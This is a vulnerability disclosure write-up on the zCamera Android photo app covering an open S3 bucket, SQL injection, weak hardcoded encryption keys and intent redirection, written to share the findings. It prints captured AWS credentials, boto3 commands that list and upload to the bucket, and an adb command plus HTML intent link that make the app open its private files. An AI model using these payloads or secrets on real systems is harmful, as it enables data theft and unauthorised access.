Security

zCamera, 100M+ installation app, from remote compromise to data leaks

This article is a technical deep dive, showing how a 100M+ installation image application can expose its user’s images and suffer from remotely exploitable vulnerabilities ranging from SQL injection and intent redirect to arbitrary file download.

Tue 04 July 2023

This article is a technical deep dive, showing how a 100M+ installation image application can expose its user’s images and suffer from remotely exploitable vulnerabilities ranging from SQL injection and intent redirect to arbitrary file download.

In 2021, we reported a set of vulnerabilities to the Google AppStore team, which affected a popular Camera application called zCamera.

The application had over 100M+ installations and suffered from several critical issues affecting its users' security and privacy.

We had attempted to report the issues to the application developer, but since we had no luck getting any response back, we reported the issues to the Google Security team.

We recently learned that the application is no longer accessible on the store, and an error message stating that the application can’t be downloaded either because the application is not accessible or it suffers from critical security issues.

Therefore, we are safely sharing this report to share awareness and knowledge on some of the critical issues we see in Mobile applications and how they can be exploited remotely without needing a malicious application on the device.

The vulnerable application is com.jb.zcamera, a photo editor application with image-sharing and storage capabilities. The application had over 100M+ installations, and its version on iOS has over 30k comments alone.

The identified vulnerabilities are:

Vulnerability Impact Attack Vector
Unsecured S3 bucket Data leak (Images) No Interaction
Chain of SQL injection, intent forwarding to access, write or delete SQLite database Data leak (SQLite database) Malicious link
Clear text traffic Data leak (Images) Traffic Manipulation
Weak encryption of sensitive with hardcoded keys Aggravate impact of data leak vulnerabilities N/A
Intent Redirection Authorization bypass Malicious link

Sensitive data leak due to unsecured S3 bucket.

The application used AWS Cognito to authenticate access to AWS’s 3gcdn.tokyo bucket. The Cognito access allowed listing all files, accessing user's images and uploading arbitrary files.

The bucket permissions allowed listing, uploadings and reading of all files by all users in the bucket.

Below is a sample code decompiled from the application showing the Cognito account.

    private static CognitoCachingCredentialsProvider b(Context context) {
        if (d == null) {
            d = new CognitoCachingCredentialsProvider(context.getApplicationContext(), "ap-northeast-1:393fddbe-5b4c-4a8a-87db-adb7e0501ccb", Regions.AP_NORTHEAST_1);
        }
        return d;
    }

    private static AmazonS3Client c(Context context) {
        if (c == null) {
            ClientConfiguration clientConfiguration = new ClientConfiguration();
            clientConfiguration.c(3000000);
            clientConfiguration.b(3000000);
            clientConfiguration.a(3);
            clientConfiguration.a(Protocol.HTTPS);
            c = new AmazonS3Client(b(context.getApplicationContext()), clientConfiguration);
        }
        c.a(Region.a(Regions.AP_NORTHEAST_1));
        return c;
    }

AWS Cognito offers an easy way to add user sign-up to Mobile and Web Applications. When a Cognito account is set, credentials are retrieved by accessing the https://cognito-identity.[zone].amazonaws.com/ endpoint.

Below is the intercepted request and response showing the generated access key, secret key and session key:

Request:

POST https://cognito-identity.us-east-1.amazonaws.com/ HTTP/1.1
Content-Type: application/x-amz-json-1.1
User-Agent: aws-sdk-android/2.11.1 Linux/3.4.0-gc9a1f89 Dalvik/2.1.0/0 en_US MobileHub/1.0
X-Amz-Target: AWSCognitoIdentityService.GetCredentialsForIdentity
aws-sdk-retry: 0/0
aws-sdk-invocation-id: aef50f87-e088-4133-986e-095a91e353b6
Content-Length: 75
Connection: Keep-Alive
Host: cognito-identity.us-east-1.amazonaws.com

{"IdentityId":"us-east-1:f86198c7-c5ac-499d-a3a8-f3f3d81dfd6b","Logins":{}}

Response:

HTTP/1.1 200 OK
Date: Wed, 31 Mar 2021 23:55:26 GMT
Content-Type: application/x-amz-json-1.1
Content-Length: 1772
Connection: keep-alive
x-amzn-RequestId: 3e58c2b6-bb84-47e8-8eed-586e47493199

{"Credentials":{"AccessKeyId":"ASIAWM5ZKESJXSGTW55U","Expiration":1.617238526E9,"SecretKey":"Dg3A8hXHt2mEiYPJgkXRoNXc4+nCZea1yy7HGgff","SessionToken":"IQoJb3JpZ2luX2VjEFAaCXVzLWVhc3QtMSJHMEUCIQD2a0IYHB89YmxvYb+FWPH3pgjgZwbxHTL5e5E/zCnYiQIgdsoN3cUrfavJSA58AYMnPp94YDAHC4FaIGZ7OlY/AXsqmgYImf//////////ARAAGgw0NDAwODU5MTQ3NzEiDHfLOwymijKmIqQ8HCruBROog1p/g5/c3hDdgpHkQWcOUv1PTlcfgVfRCKQF5bTHJXzQuhhSBIKBNWczvUvALWdzYOzgyoz2EW5yJJEP+Djz4oWPXDi1POIWiCWWRE0Obod2auS0vfF041OYsIFRF9TZT3V0waRsL6csV6t1JtM2KWu7L2lji8asEIanTuNaq4rUGOR4Iv529sxhd4JlgWac9M1XDlu2oiaVnZkee8/8ML5En8BgMTIU+BxolFtq5pjKSAawRlKaCvP/2XWNwoP1BcyRRowXYS+bhU6sMRPvc4wCiS8GXlzPYT2Rs0gChOk2xI43GUxJVtwxjx2k8UyAsDVjq9OHzsQK/Tmpi7y9c4H0ekFJuKE8+Hy5F3cS2V5qI5Ux5VrhZ3MY/+PrU2JUI17KbB+j0VqdxHuEcyPQnzj7k45NtZR4w53GZ4LxiGVJOTWQPMeYZ84p51fDsQiByQ1m+evfhpc3pkc7Peazl/33YJ8x+A/jLEcBxfGSPwYiGqv/DvJQ5occ0XT/dbdiUngtow0LEZmSH0Rjmlw/VhSl9+T7vJNU07NQVEWhtX2iKdqjZjg30uiRof8/450X6zwSDGyqcldJDGK6wTPbQ4x8xNSE0Y1W7C6EHzUBrc2N5WJpKu3rxNvxw4/bLbG+bR+IFvJGj96FIBjVvRvPw2Tg+XrR7KEndHZO1JFLYIh2S53i3kGJoQsooN0wucGixdX62ru+eRA0YcEc9xLYC8YuUw0t9SPfuQQzXV2KjGEwnV1sNebM/doXsOD40qXKrW01M1TeWQCvQZ97MIDYifXKRj7ZuulZHnjnPXQYVe8szs4lssjx/PWWJQw9EnxevWKnZK6neRTopqFD8dZYg566k8fBnk72Y65S5ydCx1P3KddbVi/hNs80G5LPV16jpMOeFCMrUrbBbHOwtz8tTnO78T6GcQTN6vF8Lcb21ExqlAgr/V61KDtS3z05LqIFdDugXihW5f6k/663IV7VWSnW5DQMk5t6fGRjqjDul5SDBjqHAuh+sQ22Te+LBgqRYqXhxrd5TfUAqS9QWaaZBOE6i8pOAN9RIXn6vcbObCOVVyt3wnNQ6Oi1URDQCn8DUn0MdFO6NQ2EJ4Y9H9yLm4foG3uJqAiiNPX78lIDa1qkvqaQBckNxhIYsSlrU5p2NdTl5k5woo8pWk2VAibgcq+JfqGrAZ6+tKR2Qy5aP96s49kOcRTqLrPcWjaDl9EWRIHSE20oWqFZgtzhUTKeuH/6dxQKI22MExMYSWJ3haIh4AaKVEpXbbtZ4oJ64w1ZWz5CU7zOnl4m2F8Bwh9hb6mP+95IUp0o9/kXcPjDe9YJ6kYFbDhU4oGCAjAHCxWsL6vJ5poJ/qNL3O15"},"IdentityId":"us-east-1:f86198c7-c5ac-499d-a3a8-f3f3d81dfd6b"}

The access keys and secrets can then be used to list files, read files and upload any file with any name and any content:

In [3]: client = boto3.client('s3', aws_access_key_id='ASIA434KFTPDWAXUDMIH', aws_secret_access_key='/zG9QSpBVeJGIWCg4tLGrJDcebFFscSoNvwMRNaO', aws_session_token='IQoJb3JpZ2luX2VjEE8aDmFwLW5vcnRoZWFzdC0xIkcwRQIhAJ
rgBgcgwfTTRKStiKqJm0V5lhCaOZGdv5FsTDnjJ1VdAiBPLLqsTPECBMvqlYgZtxQvdjkogHQ6e/sC7sEKx9vzYyqkBgiY//////////8BEAAaDDg4NDUxNjE2NjU5OSIM/3UJHbnWKR8tbGbCKvgFRxHRJ9I3p7eVLDUuFPLWv8ILMCn5Mg1wxDLnY/U1IfbkRRk3V6Evojk
 In [17]: client.upload_file('cross3x3.png', '3gcdn.tokyo', '/tmp/9A6C7-2021-03-09/headpic/crsog.pn')          
In [9]: client.list_objects(Bucket='3gcdn.tokyo')                                                                                                                                                                    
Out[9]: 
{'ResponseMetadata': {'RequestId': '2XAFCTTEPXFEP0WC',
  'HostId': 'eGU9yADLjFPKuAFj7UlpF7830Qh5Icl4Y2Vbf9NW6P4eYKvsVik6J9YPHiITzCMpZfBR3LpQ25w=',
  'HTTPStatusCode': 200,
  'HTTPHeaders': {'x-amz-id-2': 'eGU9yADLjFPKuAFj7UlpF7830Qh5Icl4Y2Vbf9NW6P4eYKvsVik6J9YPHiITzCMpZfBR3LpQ25w=',
   'x-amz-request-id': '2XAFCTTEPXFEP0WC',
   'date': 'Wed, 31 Mar 2021 22:50:25 GMT',
   'x-amz-bucket-region': 'ap-northeast-1',
   'content-type': 'application/xml',
   'transfer-encoding': 'chunked',
   'server': 'AmazonS3'},
  'RetryAttempts': 1},
 'IsTruncated': False,
 'Marker': '',
 'Contents': [{'Key': '00EC6-2021-03-17/headpic/m7VH0Pzd.jpg',
   'LastModified': datetime.datetime(2021, 3, 17, 3, 33, 13, tzinfo=tzutc()),
   'ETag': '"edc2823ca785a46e88731edf9507b0aa"',
   'Size': 137718,
   'StorageClass': 'STANDARD',
   'Owner': {'DisplayName': 'yang.jiguo.gz',
    'ID': '5b94b2d47950236e661022ff5b1fcf97415724b8883fdef3e10016e4fbe2b2e7'}},
  {'Key': '01A43-2021-03-12/headpic/IFiAeMeK.jpg',
   'LastModified': datetime.datetime(2021, 3, 12, 21, 5, 48, tzinfo=tzutc()),
   'ETag': '"58ca99af9262f0b82e6978e3c9972970"',
   'Size': 201745,
   'StorageClass': 'STANDARD',
   'Owner': {'DisplayName': 'yang.jiguo.gz',
    'ID': '5b94b2d47950236e661022ff5b1fcf97415724b8883fdef3e10016e4fbe2b2e7'}},
  {'Key': '01BA8-2021-03-05/headpic/7rSei
...

Sensitive data leak through SQL injection

The application suffered from several SQL injections that were exploitable in different ways.

Since listing all vulnerable code will take dozens of pages, the following is a source code sample. The application exposes a content provider reading the Intent message to compose a SQL query using string concatenation.

   public android.database.Cursor query(android.net.Uri p9, String[] p10, String p11, String[] p12, String p13, android.os.CancellationSignal p14)
    {
        android.database.Cursor v9_5;
        android.database.sqlite.SQLiteDatabase v0 = this.b.b();
        switch (com.jb.zcamera.gallery.encrypt.EncryptMediaProvider.a.match(p9)) {
            case 1:
                v9_5 = v0.query(images, p10, p11, p12, 0, 0, p13);
                break;
            case 2:
                String v3_2 = android.content.ContentUris.parseId(p9);
                if (v3_2 == -1) {
                    v9_5 = 0;
                } else {
                    android.database.Cursor v9_8 = new StringBuilder();
                    v9_8.append(_id=);
                    v9_8.append(v3_2);
                    android.database.Cursor v9_9 = v9_8.toString();
                    if (p11 != null) {
                        StringBuilder v14_8 = new StringBuilder();
                        v14_8.append(p11);
                        v14_8.append( and );
                        v14_8.append(v9_9);
                        v9_9 = v14_8.toString();
                    }
                    v9_5 = v0.query(images, p10, v9_9, p12, 0, 0, p13);
                }
                break;
            case 3:
                v9_5 = v0.query(videos, p10, p11, p12, 0, 0, p13);
                break;
            case 4:
                String v3_5 = android.content.ContentUris.parseId(p9);
                if (v3_5 == -1) {
                } else {
                    android.database.Cursor v9_3 = new StringBuilder();
                    v9_3.append(_id=);
                    v9_3.append(v3_5);
                    android.database.Cursor v9_4 = v9_3.toString();
                    if (p11 != null) {
                        StringBuilder v14_3 = new StringBuilder();
                        v14_3.append(p11);
                        v14_3.append( and );
                        v14_3.append(v9_4);
                        v9_4 = v14_3.toString();
                    }
                    v9_5 = v0.query(videos, p10, v9_4, p12, 0, 0, p13);
                }
                break;
            default:
                String v11_4 = new StringBuilder();
                v11_4.append(Unkonwn Uri:);
                v11_4.append(p9);
                throw new IllegalArgumentException(v11_4.toString());
        }
        return v9_5;
    }

The application fetches several links from the backend to access different resources. The most notable ones are image filters packaged as APK files.

Below is a request and response showcasing the cleartext links collected:

Request

GET https://lzt.goforandroid.com/launcherzthemestore/rest/store/resource/package?phead=eyJhcGlMZXZlbCI6IjE1IiwicHZlcnNpb24iOiIxIiwiYWlkIjoiMWRlZjBmN2E1YWE2YTUxYiIsImFkaWQiOiIxZGVmMGY3YTVhYTZhNTFiIiwidWlkIjoiMWRlZjBmN2E1YWE2YTUxYiIsImNpZCI6MTEsImN2ZXJzaW9uIjoiMjQxIiwiY2xpZW50VmVyc2lvbiI6IjI0MSIsImdvaWQiOiI0Mjk1YWY2MzAxOTUxMDBhY2QxOWNhOWI1NjgxNGM5MSIsImN2ZXJzaW9ubmFtZSI6IjQuNTQiLCJjaGFubmVsIjoiMTAxIiwibG9jYWwiOiJVUyIsImNvdW50cnkiOiJtYSIsImxhbmciOiJlbiIsInJlc29sdXRpb24iOiJVTktOT1dOIiwic2RrIjoyNSwic3lzIjoiNy4xLjIiLCJvcyI6IjcuMS4yIiwibW9kZWwiOiJOZXh1cyA1IiwicmVxdWVzdHRpbWUiOiIyMDIxLTAzLTMxIDIyOjQ1OjEzIiwiZW50cmFuY2VJZCI6MSwiaGFzbWFya2V0IjoxLCJnYWRpZCI6IjI2NDM2NzhjLWY2NDctNGU0My1hMTkxLWIzNDcyY2Q3MjM1YSIsImVtYWlsc3RhdHVzIjoxLCJuZXQiOiJXSUZJIiwib2ZmaWNpYWwiOjB9&sourceInfo=W3sicGFja2FnZU5hbWUiOiJjb20uamIuemNhbWVyYS5leHRyYS5hcnN0aWNrZXIuYmVhcmRlcm1hbiIsInR5cGUiOjl9LHsicGFja2FnZU5hbWUiOiJjb20uamIuemNhbWVyYS5leHRyYS5hcnN0aWNrZXIucmVkcm9zZSIsInR5cGUiOjl9LHsicGFja2FnZU5hbWUiOiJjb20uamIuemNhbWVyYS5leHRyYS5hcnN0aWNrZXIubm9ibGUiLCJ0eXBlIjo5fSx7InBhY2thZ2VOYW1lIjoiY29tLmpiLnpjYW1lcmEuZXh0cmEuYXJzdGlja2VyLmNhdHNjbGF3cyIsInR5cGUiOjl9LHsicGFja2FnZU5hbWUiOiJjb20uamIuemNhbWVyYS5leHRyYS5hcnN0aWNrZXIuZ2xhbW9yb3VzIiwidHlwZSI6OX0seyJwYWNrYWdlTmFtZSI6ImNvbS5qYi56Y2FtZXJhLmV4dHJhLmFyc3RpY2tlci5vbGQ1MCIsInR5cGUiOjl9LHsicGFja2FnZU5hbWUiOiJjb20uamIuemNhbWVyYS5leHRyYS5hcnN0aWNrZXIub2xkNjAiLCJ0eXBlIjo5fSx7InBhY2thZ2VOYW1lIjoiY29tLmpiLnpjYW1lcmEuZXh0cmEuYXJzdGlja2VyLm9sZDcwIiwidHlwZSI6OX0seyJwYWNrYWdlTmFtZSI6ImNvbS5qYi56Y2FtZXJhLmV4dHJhLmFyc3RpY2tlci5vbGQ4MCIsInR5cGUiOjl9LHsicGFja2FnZU5hbWUiOiJjb20uamIuemNhbWVyYS5leHRyYS5hcnN0aWNrZXIub2xkOTAiLCJ0eXBlIjo5fV0 HTTP/1.1
X-Signature: b48615ba7afc8b1661c9e4edcba5afe8
Connection: Keep-Alive
Host: lzt.goforandroid.com

Response

HTTP/1.1 200 OK
Date: Wed, 31 Mar 2021 21:45:16 GMT
Content-Type: application/json;charset=UTF-8
Content-Length: 3924
Connection: keep-alive
ETag: "fabbe7c0ec3239ab83afbad4a23552d4"
Strict-Transport-Security: max-age=15768000

{"data":[{"type":9,"data":{"mapid":502108234,"pkgname":"com.jb.zcamera.extra.arsticker.bearderman","name":"Bearded Man","animated":0,"icon":"http://resource.gomocdn.com/soft/repository/5/icon/20171024/QSn5wB8r.png","preview":"http://resource.gomocdn.com/soft/repository/5/preview/20171024/GtCFYHsC.png","images":["http://resource.gomocdn.com/soft/repository/5/image/20171024/y4xBLEy8.png"],"animatedimages":"","downloadCount":0,"downloadCount_s":"100","score":0.0,"developer":null,"price":"0","detail":null,"updateTime":"2019-12-11","downurl":"http://goappdl.goforandroid.com/soft/go_launcherzstoremanage/2017102515/150891699498678795362.zip","chargetype":0,"downtype":1,"zipVersion":5,"haslock":0,"newlocktype":2,"paytype":-1,"zipdownurl":"","size":"1.1MB"}},{"type":9,"data":{"mapid":502108239,"pkgname":"com.jb.zcamera.extra.arsticker.redrose","name":"Red Rose","animated":0,"icon":"http://resource.gomocdn.com/soft/repository/5/icon/20171024/XqodiFim.png","preview":"http://resource.gomocdn.com/soft/repository/5/preview/20171024/x0xMHTGO.png","images":["http://resource.gomocdn.com/soft/repository/5/image/20171013/sejQghqb.png"],"animatedimages":"","downloadCount":0,"downloadCount_s":"100","score":0.0,"developer":null,"price":"0","detail":null,"updateTime":"2019-12-11","downurl":"http://goappdl.goforandroid.com/soft/go_launcherzstoremanage/2017102516/150891970955293144727.zip","chargetype":0,"downtype":1,"zipVersion":5,"haslock":0,"newlocktype":1,"paytype":-1,"zipdownurl":"","size":"485.5KB"}},{"type":9,"data":{"mapid":502108240,"pkgname":"com.jb.zcamera.extra.arsticker.noble","name":"Noble","animated":0,"icon":"http://resource.gomocdn.com/soft/repository/5/icon/20171013/p7LgIBUL.png","preview":"http://resource.gomocdn.com/soft/repository/5/preview/20171024/2fCB9m4J.png","images":["http://resource.gomocdn.com/soft/repository/5/image/20171013/q1LeSyZp.png"],"animatedimages":"","downloadCount":0,"downloadCount_s":"100","score":0.0,"developer":null,"price":"0","detail":null,"updateTime":"2019-12-11","downurl":"http://goappdl.goforandroid.com/soft/go_launcherzstoremanage/2017102516/150891979625032197505.zip","chargetype":0,"downtype":1,"zipVersion":2,"haslock":0,"newlocktype":1,"paytype":-1,"zipdownurl":"","size":"106.8KB"}},{"type":9,"data":{"mapid":502108236,"pkgname":"com.jb.zcamera.extra.arsticker.catsclaws","name":"Cat's Claws","animated":0,"icon":"http://resource.gomocdn.com/soft/repository/5/icon/20171024/9vEt0rzp.png","preview":"http://resource.gomocdn.com/soft/repository/5/preview/20171024/zcPyXmxu.png","images":["http://resource.gomocdn.com/soft/repository/5/image/20171024/y4xBLEy8.png"],"animatedimages":"","downloadCount":0,"downloadCount_s":"100","score":0.0,"developer":null,"price":"0","detail":null,"updateTime":"2019-12-11","downurl":"http://goappdl.goforandroid.com/soft/go_launcherzstoremanage/2017102515/150891770104157456228.zip","chargetype":0,"downtype":1,"zipVersion":6,"haslock":0,"newlocktype":1,"paytype":-1,"zipdownurl":"","size":"238.6KB"}},{"type":9,"data":{"mapid":502108242,"pkgname":"com.jb.zcamera.extra.arsticker.glamorous","name":"Glamorous","animated":0,"icon":"http://resource.gomocdn.com/soft/repository/5/icon/20171024/0dSKQewo.png","preview":"http://resource.gomocdn.com/soft/repository/5/preview/20171024/RE3V9bZs.png","images":["http://resource.gomocdn.com/soft/repository/5/image/20171013/bflkJsG4.png"],"animatedimages":"","downloadCount":0,"downloadCount_s":"100","score":0.0,"developer":null,"price":"0","detail":null,"updateTime":"2019-12-11","downurl":"http://goappdl.goforandroid.com/soft/go_launcherzstoremanage/2017102423/150885924029021919.zip","chargetype":0,"downtype":1,"zipVersion":10,"haslock":0,"newlocktype":2,"paytype":-1,"zipdownurl":"","size":"106.9KB"}},{"type":9,"data":null},{"type":9,"data":null},{"type":9,"data":null},{"type":9,"data":null},{"type":9,"data":null}],"errorResult":{"errorCode":"SUCCESS","errorMsg":"SUCCESS"}}

Weak encryption and use of hard-coded secret to store private images

The application implements a feature to password protect-images. The encryption uses DES weak encryption scheme with hardcoded key. Below is the presence of a pref_forget_pwd_code hardcoded in the application:

public static String m5718w() {
        String string = m5663ac().getString("pref_forget_pwd_code", "");
        return !TextUtils.isEmpty(string) ? aie.m2211b(string, "zalzaq47jlogh34DFddxa3i95nm3297nsvm2q1CXN3xv2197bkJlweXN199mb094883ksjaN1cABX3l9vnz9PD3rz872vxawvfA") : string;
    }

Below is the use of DES to encrypt and generate secrets. DES is by today's means bruteforcable due to its small key space.

    /* renamed from: b */
    public static byte[] m2212b(byte[] bArr, String str) throws Exception {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        try {
            SecretKey generateSecret = SecretKeyFactory.getInstance(DesUtil.DES_ALGORITHM).generateSecret(new DESKeySpec(str.getBytes()));
            Cipher instance = Cipher.getInstance(DesUtil.DES_ALGORITHM);
            instance.init(2, generateSecret);
            byte[] doFinal = instance.doFinal(bArr);
            byteArrayOutputStream.close();
            return doFinal;
        } catch (Exception e) {
            throw e;
        } catch (Throwable th) {
            byteArrayOutputStream.close();
            throw th;
        }
    }

And here is another hardcoded key used with AES encryption

public final class CryptPreferencesManager {
    private static final String CRYPT_KEY = "NaubrwWEGiJEQqRxx7aXntbGOf4YiRmW0WY9043rcqRhJreE4sReMC1OFRaeI7TXWBJUiJQGpwA1UdSsR65vvNieo70IUqvUnj1mn1mLUTKEMqeM9l5g90WJJo4gBN3n";
    private SharedPreferences.Editor mEditor;
    private SharedPreferences mPreferences;

One of the most significant issues in the application is how an attacker can bypass restrictions on accessible and authorized activities by leveraging an intent redirection vulnerability.

The main activity exposes a proxying feature that opens links in a webview with file access, provided certain flags are set, or can start activity with arbitrary extra parameters.

   public boolean a(Context context, Intent intent) {
        if (intent != null && intent.getBooleanExtra("extra_is_wecloud_enter", false)) {
            String stringExtra = intent.getStringExtra(WecloudNotificationKey.ACTION.getValue());
            String stringExtra2 = intent.getStringExtra(WecloudNotificationKey.PARAM.getValue());
            if (WecloudNotificationAction.hasValue(stringExtra)) {
                WecloudNotificationAction fromValue = WecloudNotificationAction.fromValue(stringExtra);
                if (fromValue == WecloudNotificationAction.URI) {
                    return b(context, stringExtra2);
                }
                if (fromValue == WecloudNotificationAction.GP) {
                    return c(context, stringExtra2);
                }
                if (fromValue == WecloudNotificationAction.FB) {
                    return d(context, stringExtra2);
                }
                if (fromValue == WecloudNotificationAction.ACTIVITY) {
                    return e(context, stringExtra2);
                }
            }
        }
        return false;
    }

Based on some parameters in the intent, a second intent is constructed from push_param value. The second param parsing implements its own serialization format supporting basic types such as string, bool, int, etc. Below is the code constructing the 2nd intent.

   private boolean m6011b(Context context, String str) {
        if (TextUtils.isEmpty(str)) {
            return false;
        }
        try {
            String[] split = str.split("\\?\\#\\?\\#\\?");
            String str2 = split[0];
            if (TextUtils.isEmpty(str2)) {
                return false;
            }
            if (split.length < 2) {
                Intent intent = new Intent("android.intent.action.VIEW", Uri.parse(str));
                intent.addFlags(268435456);
                context.startActivity(intent);
                return true;
            }
            Intent intent2 = new Intent();
            mo12531a(intent2, split[1]);
            if (intent2.getBooleanExtra("extra_internal_webview", false)) {
                arl.m4058a(context, intent2, split[0], intent2.getBooleanExtra("extra_show_ad", false));
            } else {
                Intent intent3 = new Intent("android.intent.action.VIEW", Uri.parse(str2));
                intent3.addFlags(268435456);
                context.startActivity(intent3);
            }
            return true;
        } catch (Throwable th) {
            ars.m4113c("WecloudNotification", "", th);
            return true;
        }
    }
   private void a(Intent intent, String str, String str2) {
        int lastIndexOf = str2.lastIndexOf("@");
        if (lastIndexOf > 0 && lastIndexOf < str2.length() - 1) {
            String substring = str2.substring(lastIndexOf + 1);
            String substring2 = str2.substring(0, lastIndexOf);
            if ("B".equals(substring)) {
                intent.putExtra(str, Boolean.valueOf(substring2));
            } else if ("I".equals(substring)) {
                intent.putExtra(str, Integer.valueOf(substring2));
            } else if ("D".equals(substring)) {
                intent.putExtra(str, Double.valueOf(substring2));
            } else if ("F".equals(substring)) {
                intent.putExtra(str, Float.valueOf(substring2));
            } else if ("L".equals(substring)) {
                intent.putExtra(str, Long.valueOf(substring2));
            } else if ("S".equals(substring)) {
                intent.putExtra(str, substring2);
            }
        }
    }
}

To trigger opening a page on the target webview, an intent can be sent with the following command:

adb shell am start -n com.jb.zcamera/com.jb.zcamera.camera.MainActivity --es push_action uri --es push_param 'file:///data/data/com.jb.zcamera/shared_prefs/CameraFacing.xml?#?#?\&extra_internal_webview=true@B' --ez extra_is_wecloud_enter true

Because the main activity exposing the proxying feature is browsable, the intent can be triggered from Chrome with the following html sample code. This is a very important element as it means an attacker can trigger this vulnerability without needing to have a malicious access to the device.

<html>
<a href="intent://camera.gomo.com/#Intent;scheme=http;package=com.jb.zcamera;S.push_action=uri;S.push_param=file:///data/data/com.jb.zcamera/shared_prefs/CameraFacing.xml%3f%23%3f%23%3f%26extra_internal_webview%3dtrue%40B;B.extra_is_wecloud_enter=true;end">Click Me!</a>
</html>

The webview has local file access but no permission to open files from URLs and the target SDK sets File URLs access to false.

The InvolveMediaDetailActvity activity can trigger downloads of files with links pointing to "http://goappdl.goforandroid.com/"

The activity accepts a video URL that is fetched from an S3 bucket:

    public void getDataFromIntent() {
        Intent intent = getIntent();
        this.a = intent.getStringExtra(VIDEO_URL);
        this.b = intent.getStringExtra(IMG_URL);
        this.c = intent.getIntExtra(FILE_TYPE, -1);
    }

The URL needs to have as a host http://goappdl.goforandroid.com/, the host is however truncated, and only the path is used to download the file. The name of the stored file is taken from the path:

   public static String m1204e(String str) {
        try {
            if (!TextUtils.isEmpty(str)) {
                if (str.startsWith("http://goappdl.goforandroid.com/")) {
                    return str.substring("http://goappdl.goforandroid.com/".length(), str.length());
                }
            }
            return "";
        } catch (Exception e) {
            e.printStackTrace();
            return "";
        }
    }

Since access to the S3 g3cdn.tokyo is using AWS Cognito, access keys can be collected by sending the Cognito Identity.

Request:

POST https://cognito-identity.us-east-1.amazonaws.com/ HTTP/1.1
Content-Type: application/x-amz-json-1.1
User-Agent: aws-sdk-android/2.11.1 Linux/3.4.0-gc9a1f89 Dalvik/2.1.0/0 en_US MobileHub/1.0
X-Amz-Target: AWSCognitoIdentityService.GetCredentialsForIdentity
aws-sdk-retry: 0/0
aws-sdk-invocation-id: aef50f87-e088-4133-986e-095a91e353b6
Content-Length: 75
Connection: Keep-Alive
Host: cognito-identity.us-east-1.amazonaws.com

{"IdentityId":"us-east-1:f86198c7-c5ac-499d-a3a8-f3f3d81dfd6b","Logins":{}}

Response:

HTTP/1.1 200 OK
Date: Wed, 31 Mar 2021 23:55:26 GMT
Content-Type: application/x-amz-json-1.1
Content-Length: 1772
Connection: keep-alive
x-amzn-RequestId: 3e58c2b6-bb84-47e8-8eed-586e47493199

{"Credentials":{"AccessKeyId":"ASIAWM5ZKESJXSGTW55U","Expiration":1.617238526E9,"SecretKey":"Dg3A8hXHt2mEiYPJgkXRoNXc4+nCZea1yy7HGgff","SessionToken":"IQoJb3JpZ2luX2VjEFAaCXVzLWVhc3QtMSJHMEUCIQD2a0IYHB89YmxvYb+FWPH3pgjgZwbxHTL5e5E/zCnYiQIgdsoN3cUrfavJSA58AYMnPp94YDAHC4FaIGZ7OlY/AXsqmgYImf//////////ARAAGgw0NDAwODU5MTQ3NzEiDHfLOwymijKmIqQ8HCruBROog1p/g5/c3hDdgpHkQWcOUv1PTlcfgVfRCKQF5bTHJXzQuhhSBIKBNWczvUvALWdzYOzgyoz2EW5yJJEP+Djz4oWPXDi1POIWiCWWRE0Obod2auS0vfF041OYsIFRF9TZT3V0waRsL6csV6t1JtM2KWu7L2lji8asEIanTuNaq4rUGOR4Iv529sxhd4JlgWac9M1XDlu2oiaVnZkee8/8ML5En8BgMTIU+BxolFtq5pjKSAawRlKaCvP/2XWNwoP1BcyRRowXYS+bhU6sMRPvc4wCiS8GXlzPYT2Rs0gChOk2xI43GUxJVtwxjx2k8UyAsDVjq9OHzsQK/Tmpi7y9c4H0ekFJuKE8+Hy5F3cS2V5qI5Ux5VrhZ3MY/+PrU2JUI17KbB+j0VqdxHuEcyPQnzj7k45NtZR4w53GZ4LxiGVJOTWQPMeYZ84p51fDsQiByQ1m+evfhpc3pkc7Peazl/33YJ8x+A/jLEcBxfGSPwYiGqv/DvJQ5occ0XT/dbdiUngtow0LEZmSH0Rjmlw/VhSl9+T7vJNU07NQVEWhtX2iKdqjZjg30uiRof8/450X6zwSDGyqcldJDGK6wTPbQ4x8xNSE0Y1W7C6EHzUBrc2N5WJpKu3rxNvxw4/bLbG+bR+IFvJGj96FIBjVvRvPw2Tg+XrR7KEndHZO1JFLYIh2S53i3kGJoQsooN0wucGixdX62ru+eRA0YcEc9xLYC8YuUw0t9SPfuQQzXV2KjGEwnV1sNebM/doXsOD40qXKrW01M1TeWQCvQZ97MIDYifXKRj7ZuulZHnjnPXQYVe8szs4lssjx/PWWJQw9EnxevWKnZK6neRTopqFD8dZYg566k8fBnk72Y65S5ydCx1P3KddbVi/hNs80G5LPV16jpMOeFCMrUrbBbHOwtz8tTnO78T6GcQTN6vF8Lcb21ExqlAgr/V61KDtS3z05LqIFdDugXihW5f6k/663IV7VWSnW5DQMk5t6fGRjqjDul5SDBjqHAuh+sQ22Te+LBgqRYqXhxrd5TfUAqS9QWaaZBOE6i8pOAN9RIXn6vcbObCOVVyt3wnNQ6Oi1URDQCn8DUn0MdFO6NQ2EJ4Y9H9yLm4foG3uJqAiiNPX78lIDa1qkvqaQBckNxhIYsSlrU5p2NdTl5k5woo8pWk2VAibgcq+JfqGrAZ6+tKR2Qy5aP96s49kOcRTqLrPcWjaDl9EWRIHSE20oWqFZgtzhUTKeuH/6dxQKI22MExMYSWJ3haIh4AaKVEpXbbtZ4oJ64w1ZWz5CU7zOnl4m2F8Bwh9hb6mP+95IUp0o9/kXcPjDe9YJ6kYFbDhU4oGCAjAHCxWsL6vJ5poJ/qNL3O15"},"IdentityId":"us-east-1:f86198c7-c5ac-499d-a3a8-f3f3d81dfd6b"}

The collected keys and secrets can be used to upload a malicious file:

In [3]: client = boto3.client('s3', aws_access_key_id='ASIA434KFTPDWAXUDMIH', aws_secret_access_key='/zG9QSpBVeJGIWCg4tLGrJDcebFFscSoNvwMRNaO', aws_session_token='IQoJb3JpZ2luX2VjEE8aDmFwLW5vcnRoZWFzdC0xIkcwRQIhAJ
rgBgcgwfTTRKStiKqJm0V5lhCaOZGdv5FsTDnjJ1VdAiBPLLqsTPECBMvqlYgZtxQvdjkogHQ6e/sC7sEKx9vzYyqkBgiY//////////8BEAAaDDg4NDUxNjE2NjU5OSIM/3UJHbnWKR8tbGbCKvgFRxHRJ9I3p7eVLDUuFPLWv8ILMCn5Mg1wxDLnY/U1IfbkRRk3V6Evojk
 In [17]: client.upload_file('cross3x3.png', '3gcdn.tokyo', '/tmp/9A6C7-2021-03-09/headpic/crsog.pn')          

